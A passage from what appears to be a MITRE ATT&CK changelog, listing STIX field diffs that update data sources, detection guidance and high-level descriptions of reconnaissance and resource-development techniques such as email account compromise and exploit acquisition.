| modified | 2020-01-30 22:27:39.932000+00:00 | 2021-02-09 14:09:00.753000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Command: Command Execution |
| x_mitre_detection | Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1086), additional logging of PowerShell scripts is recommended. | Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Drive: Drive Access |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 13:42:34.402000+00:00 | 2021-10-13 14:05:14.784000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-02 01:37:39.618000+00:00 | 2020-11-10 18:28:57.002000+00:00 |
| external_references[10]['source_name'] | Endgame Predicting DGA | Elastic Predicting DGA |
| x_mitre_data_sources[0] | DNS records | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Connection Creation |
| x_mitre_detection | Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Endgame Predicting DGA) | Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | Process use of network |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network domain(s) that can be used d | > | k domain(s) that can be used during targeting. Information a | ||
| > | uring targeting. Information about domains and their propert | > | bout domains and their properties may include a variety of d | ||
| > | ies may include a variety of details, including what domain( | > | etails, including what domain(s) the victim owns as well as | ||
| > | s) the victim owns as well as administrative data (ex: name, | > | administrative data (ex: name, registrar, etc.) and more dir | ||
| > | registrar, etc.) and more directly actionable information s | > | ectly actionable information such as contacts (email address | ||
| > | uch as contacts (email addresses and phone numbers), busines | > | es and phone numbers), business addresses, and name servers. | ||
| > | s addresses, and name servers. Adversaries may gather this | > | Adversaries may gather this information in various ways, s | ||
| > | information in various ways, such as direct collection actio | > | uch as direct collection actions via [Active Scanning](https | ||
| > | ns via [Active Scanning](https://attack.mitre.org/techniques | > | ://attack.mitre.org/techniques/T1595) or [Phishing for Infor | ||
| > | /T1595) or [Phishing for Information](https://attack.mitre.o | > | mation](https://attack.mitre.org/techniques/T1598). Informat | ||
| > | rg/techniques/T1598). Information about victim domains and t | > | ion about victim domains and their properties may also be ex | ||
| > | heir properties may also be exposed to adversaries via onlin | > | posed to adversaries via online or other accessible data set | ||
| > | e or other accessible data sets (ex: [WHOIS](https://attack. | > | s (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002 | ||
| > | mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: | > | )).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl | ||
| > | DNS Dumpster)(Citation: Circl Passive DNS) Gathering this i | > | Passive DNS) Gathering this information may reveal opportun | ||
| > | nformation may reveal opportunities for other forms of recon | > | ities for other forms of reconnaissance (ex: [Search Open Te | ||
| > | naissance (ex: [Search Open Technical Databases](https://att | > | chnical Databases](https://attack.mitre.org/techniques/T1596 | ||
| > | ack.mitre.org/techniques/T1596), [Search Open Websites/Domai | > | ), [Search Open Websites/Domains](https://attack.mitre.org/t | ||
| > | ns](https://attack.mitre.org/techniques/T1593), or [Phishing | > | echniques/T1593), or [Phishing for Information](https://atta | ||
| > | for Information](https://attack.mitre.org/techniques/T1598) | > | ck.mitre.org/techniques/T1598)), establishing operational re | ||
| > | ), establishing operational resources (ex: [Acquire Infrastr | > | sources (ex: [Acquire Infrastructure](https://attack.mitre.o | ||
| > | ucture](https://attack.mitre.org/techniques/T1583) or [Compr | > | rg/techniques/T1583) or [Compromise Infrastructure](https:// | ||
| > | omise Infrastructure](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1584)), and/or initial access ( | ||
| > | 584)), and/or initial access (ex: [Phishing](https://attack. | > | ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | mitre.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 22:58:22.915000+00:00 | 2021-04-15 03:30:33.508000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise ema | t | 1 | Adversaries may compromise email accounts that can be used d |
| > | il accounts that can be used during targeting. Adversaries c | > | uring targeting. Adversaries can use compromised email accou | ||
| > | an use compromised email accounts to further their operation | > | nts to further their operations, such as leveraging them to | ||
| > | s, such as leveraging them to conduct [Phishing for Informat | > | conduct [Phishing for Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1598) or [Phishing | > | techniques/T1598) or [Phishing](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1566). Utilizing an e | > | hniques/T1566). Utilizing an existing persona with a comprom | ||
| > | xisting persona with a compromised email account may engende | > | ised email account may engender a level of trust in a potent | ||
| > | r a level of trust in a potential victim if they have a rela | > | ial victim if they have a relationship, or knowledge of, the | ||
| > | tionship, or knowledge of, the compromised persona. Compromi | > | compromised persona. Compromised email accounts can also be | ||
| > | sed email accounts can also be used in the acquisition of in | > | used in the acquisition of infrastructure (ex: [Domains](ht | ||
| > | frastructure (ex: [Domains](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1583/001)). A variety of | ||
| > | ues/T1583/001)). A variety of methods exist for compromisin | > | methods exist for compromising email accounts, such as gath | ||
| > | g email accounts, such as gathering credentials via [Phishin | > | ering credentials via [Phishing for Information](https://att | ||
| > | g for Information](https://attack.mitre.org/techniques/T1598 | > | ack.mitre.org/techniques/T1598), purchasing credentials from | ||
| > | ), purchasing credentials from third-party sites, or by brut | > | third-party sites, or by brute forcing credentials (ex: pas | ||
| > | e forcing credentials (ex: password reuse from breach creden | > | sword reuse from breach credential dumps).(Citation: AnonHBG | ||
| > | tial dumps).(Citation: AnonHBGary) Prior to compromising ema | > | ary) Prior to compromising email accounts, adversaries may c | ||
| > | il accounts, adversaries may conduct Reconnaissance to infor | > | onduct Reconnaissance to inform decisions about which accoun | ||
| > | m decisions about which accounts to compromise to further th | > | ts to compromise to further their operation. Adversaries ca | ||
| > | eir operation. Adversaries can use a compromised email acco | > | n use a compromised email account to hijack existing email t | ||
| > | unt to hijack existing email threads with targets of interes | > | hreads with targets of interest. | ||
| > | t. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 16:40:58.761000+00:00 | 2021-04-15 02:57:25.544000+00:00 |
| description | Before compromising a victim, adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries can use a compromised email account to hijack existing email threads with targets of interest. | Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries can use a compromised email account to hijack existing email threads with targets of interest. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create email a | t | 1 | Adversaries may create email accounts that can be used durin |
| > | ccounts that can be used during targeting. Adversaries can u | > | g targeting. Adversaries can use accounts created with email | ||
| > | se accounts created with email providers to further their op | > | providers to further their operations, such as leveraging t | ||
| > | erations, such as leveraging them to conduct [Phishing for I | > | hem to conduct [Phishing for Information](https://attack.mit | ||
| > | nformation](https://attack.mitre.org/techniques/T1598) or [P | > | re.org/techniques/T1598) or [Phishing](https://attack.mitre. | ||
| > | hishing](https://attack.mitre.org/techniques/T1566).(Citatio | > | org/techniques/T1566).(Citation: Mandiant APT1) Adversaries | ||
| > | n: Mandiant APT1) Adversaries may also take steps to cultiva | > | may also take steps to cultivate a persona around the email | ||
| > | te a persona around the email account, such as through use o | > | account, such as through use of [Social Media Accounts](http | ||
| > | f [Social Media Accounts](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1585/001), to increase the | ||
| > | s/T1585/001), to increase the chance of success of follow-on | > | chance of success of follow-on behaviors. Created email acco | ||
| > | behaviors. Created email accounts can also be used in the a | > | unts can also be used in the acquisition of infrastructure ( | ||
| > | cquisition of infrastructure (ex: [Domains](https://attack.m | > | ex: [Domains](https://attack.mitre.org/techniques/T1583/001) | ||
| > | itre.org/techniques/T1583/001)).(Citation: Mandiant APT1) T | > | ).(Citation: Mandiant APT1) To decrease the chance of physi | ||
| > | o decrease the chance of physically tying back operations to | > | cally tying back operations to themselves, adversaries may m | ||
| > | themselves, adversaries may make use of disposable email se | > | ake use of disposable email services.(Citation: Trend Micro | ||
| > | rvices.(Citation: Trend Micro R980 2016) | > | R980 2016) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 00:48:47.515000+00:00 | 2021-04-15 03:09:59.862000+00:00 |
| description | Before compromising a victim, adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) | Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather email a | t | 1 | Adversaries may gather email addresses that can be used duri |
| > | ddresses that can be used during targeting. Even if internal | > | ng targeting. Even if internal instances exist, organization | ||
| > | instances exist, organizations may have public-facing email | > | s may have public-facing email infrastructure and addresses | ||
| > | infrastructure and addresses for employees. Adversaries ma | > | for employees. Adversaries may easily gather email addresse | ||
| > | y easily gather email addresses, since they may be readily a | > | s, since they may be readily available and exposed via onlin | ||
| > | vailable and exposed via online or other accessible data set | > | e or other accessible data sets (ex: [Social Media](https:// | ||
| > | s (ex: [Social Media](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1593/001) or [Search Victim-Own | ||
| > | 593/001) or [Search Victim-Owned Websites](https://attack.mi | > | ed Websites](https://attack.mitre.org/techniques/T1594)).(Ci | ||
| > | tre.org/techniques/T1594)).(Citation: HackersArise Email)(Ci | > | tation: HackersArise Email)(Citation: CNET Leaks) Gathering | ||
| > | tation: CNET Leaks) Gathering this information may reveal op | > | this information may reveal opportunities for other forms of | ||
| > | portunities for other forms of reconnaissance (ex: [Search O | > | reconnaissance (ex: [Search Open Websites/Domains](https:// | ||
| > | pen Websites/Domains](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1593) or [Phishing for Informat | ||
| > | 593) or [Phishing for Information](https://attack.mitre.org/ | > | ion](https://attack.mitre.org/techniques/T1598)), establishi | ||
| > | techniques/T1598)), establishing operational resources (ex: | > | ng operational resources (ex: [Email Accounts](https://attac | ||
| > | [Email Accounts](https://attack.mitre.org/techniques/T1586/0 | > | k.mitre.org/techniques/T1586/002)), and/or initial access (e | ||
| > | 02)), and/or initial access (ex: [Phishing](https://attack.m | > | x: [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | itre.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:46:04.662000+00:00 | 2021-04-15 03:27:19.702000+00:00 |
| description | Before compromising a victim, adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather employe | t | 1 | Adversaries may gather employee names that can be used durin |
| > | e names that can be used during targeting. Employee names be | > | g targeting. Employee names be used to derive email addresse | ||
| > | used to derive email addresses as well as to help guide oth | > | s as well as to help guide other reconnaissance efforts and/ | ||
| > | er reconnaissance efforts and/or craft more-believable lures | > | or craft more-believable lures. Adversaries may easily gath | ||
| > | . Adversaries may easily gather employee names, since they | > | er employee names, since they may be readily available and e | ||
| > | may be readily available and exposed via online or other acc | > | xposed via online or other accessible data sets (ex: [Social | ||
| > | essible data sets (ex: [Social Media](https://attack.mitre.o | > | Media](https://attack.mitre.org/techniques/T1593/001) or [S | ||
| > | rg/techniques/T1593/001) or [Search Victim-Owned Websites](h | > | earch Victim-Owned Websites](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1594)).(Citation: OPM Le | > | ques/T1594)).(Citation: OPM Leak) Gathering this information | ||
| > | ak) Gathering this information may reveal opportunities for | > | may reveal opportunities for other forms of reconnaissance | ||
| > | other forms of reconnaissance (ex: [Search Open Websites/Dom | > | (ex: [Search Open Websites/Domains](https://attack.mitre.org | ||
| > | ains](https://attack.mitre.org/techniques/T1593) or [Phishin | > | /techniques/T1593) or [Phishing for Information](https://att | ||
| > | g for Information](https://attack.mitre.org/techniques/T1598 | > | ack.mitre.org/techniques/T1598)), establishing operational r | ||
| > | )), establishing operational resources (ex: [Compromise Acco | > | esources (ex: [Compromise Accounts](https://attack.mitre.org | ||
| > | unts](https://attack.mitre.org/techniques/T1586)), and/or in | > | /techniques/T1586)), and/or initial access (ex: [Phishing](h | ||
| > | itial access (ex: [Phishing](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1566) or [Valid Accounts | ||
| > | ques/T1566) or [Valid Accounts](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1078)). | ||
| > | hniques/T1078)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:46:29.173000+00:00 | 2021-04-15 03:27:49.437000+00:00 |
| description | Before compromising a victim, adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 00:37:16.809000+00:00 | 2021-04-20 19:27:46.650000+00:00 |
| x_mitre_data_sources[0] | SSL/TLS inspection | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | Malware reverse engineering | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Packet capture |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 18:52:12.719000+00:00 | 2021-06-09 18:53:58.159000+00:00 |
| external_references[5]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/ | https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/ |
| x_mitre_contributors[0] | Nick Carr, FireEye | Nick Carr, Mandiant |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:48:27.576000+00:00 | 2021-10-16 20:11:14.193000+00:00 |
| external_references[2]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Windows event logs | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | System calls | Command: Command Execution |
| x_mitre_data_sources[3] | Binary file metadata | File: File Creation |
| x_mitre_data_sources[4] | Process use of network | File: File Modification |
| x_mitre_data_sources[5] | WMI Objects | WMI: WMI Creation |
| x_mitre_data_sources[6] | File monitoring | File: File Metadata |
| x_mitre_data_sources[7] | Process command-line parameters | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Windows Registry |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 18:52:12.956000+00:00 | 2021-06-09 18:53:58.471000+00:00 |
| x_mitre_contributors[0] | Nick Carr, FireEye | Nick Carr, Mandiant |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['ExtraHop'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-04 20:14:11.064000+00:00 | 2021-04-22 20:23:01.478000+00:00 |
| x_mitre_data_sources[0] | Windows Error Reporting | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, steal, or | t | 1 | Adversaries may buy, steal, or download exploits that can be |
| > | download exploits that can be used during targeting. An exp | > | used during targeting. An exploit takes advantage of a bug | ||
| > | loit takes advantage of a bug or vulnerability in order to c | > | or vulnerability in order to cause unintended or unanticipat | ||
| > | ause unintended or unanticipated behavior to occur on comput | > | ed behavior to occur on computer hardware or software. Rathe | ||
| > | er hardware or software. Rather than developing their own ex | > | r than developing their own exploits, an adversary may find/ | ||
| > | ploits, an adversary may find/modify exploits from online or | > | modify exploits from online or purchase them from exploit ve | ||
| > | purchase them from exploit vendors.(Citation: Exploit Datab | > | ndors.(Citation: Exploit Database)(Citation: TempertonDarkHo | ||
| > | ase)(Citation: TempertonDarkHotel)(Citation: NationsBuying) | > | tel)(Citation: NationsBuying) In addition to downloading fr | ||
| > | In addition to downloading free exploits from the internet, | > | ee exploits from the internet, adversaries may purchase expl | ||
| > | adversaries may purchase exploits from third-party entities | > | oits from third-party entities. Third-party entities can inc | ||
| > | . Third-party entities can include technology companies that | > | lude technology companies that specialize in exploit develop | ||
| > | specialize in exploit development, criminal marketplaces (i | > | ment, criminal marketplaces (including exploit kits), or fro | ||
| > | ncluding exploit kits), or from individuals.(Citation: Pegas | > | m individuals.(Citation: PegasusCitizenLab)(Citation: Wired | ||
| > | usCitizenLab)(Citation: Wired SandCat Oct 2019) In addition | > | SandCat Oct 2019) In addition to purchasing exploits, advers | ||
| > | to purchasing exploits, adversaries may steal and repurpose | > | aries may steal and repurpose exploits from third-party enti | ||
| > | exploits from third-party entities (including other adversar | > | ties (including other adversaries).(Citation: TempertonDarkH | ||
| > | ies).(Citation: TempertonDarkHotel) An adversary may monito | > | otel) An adversary may monitor exploit provider forums to u | ||
| > | r exploit provider forums to understand the state of existin | > | nderstand the state of existing, as well as newly discovered | ||
| > | g, as well as newly discovered, exploits. There is usually a | > | , exploits. There is usually a delay between when an exploit | ||
| > | delay between when an exploit is discovered and when it is | > | is discovered and when it is made public. An adversary may | ||
| > | made public. An adversary may target the systems of those kn | > | target the systems of those known to conduct exploit researc | ||
| > | own to conduct exploit research and development in order to | > | h and development in order to gain that knowledge for use du | ||
| > | gain that knowledge for use during a subsequent operation. | > | ring a subsequent operation. Adversaries may use exploits d | ||
| > | Adversaries may use exploits during various phases of the ad | > | uring various phases of the adversary lifecycle (i.e. [Explo | ||
| > | versary lifecycle (i.e. [Exploit Public-Facing Application]( | > | it Public-Facing Application](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1190), [Exploitation fo | > | iques/T1190), [Exploitation for Client Execution](https://at | ||
| > | r Client Execution](https://attack.mitre.org/techniques/T120 | > | tack.mitre.org/techniques/T1203), [Exploitation for Privileg | ||
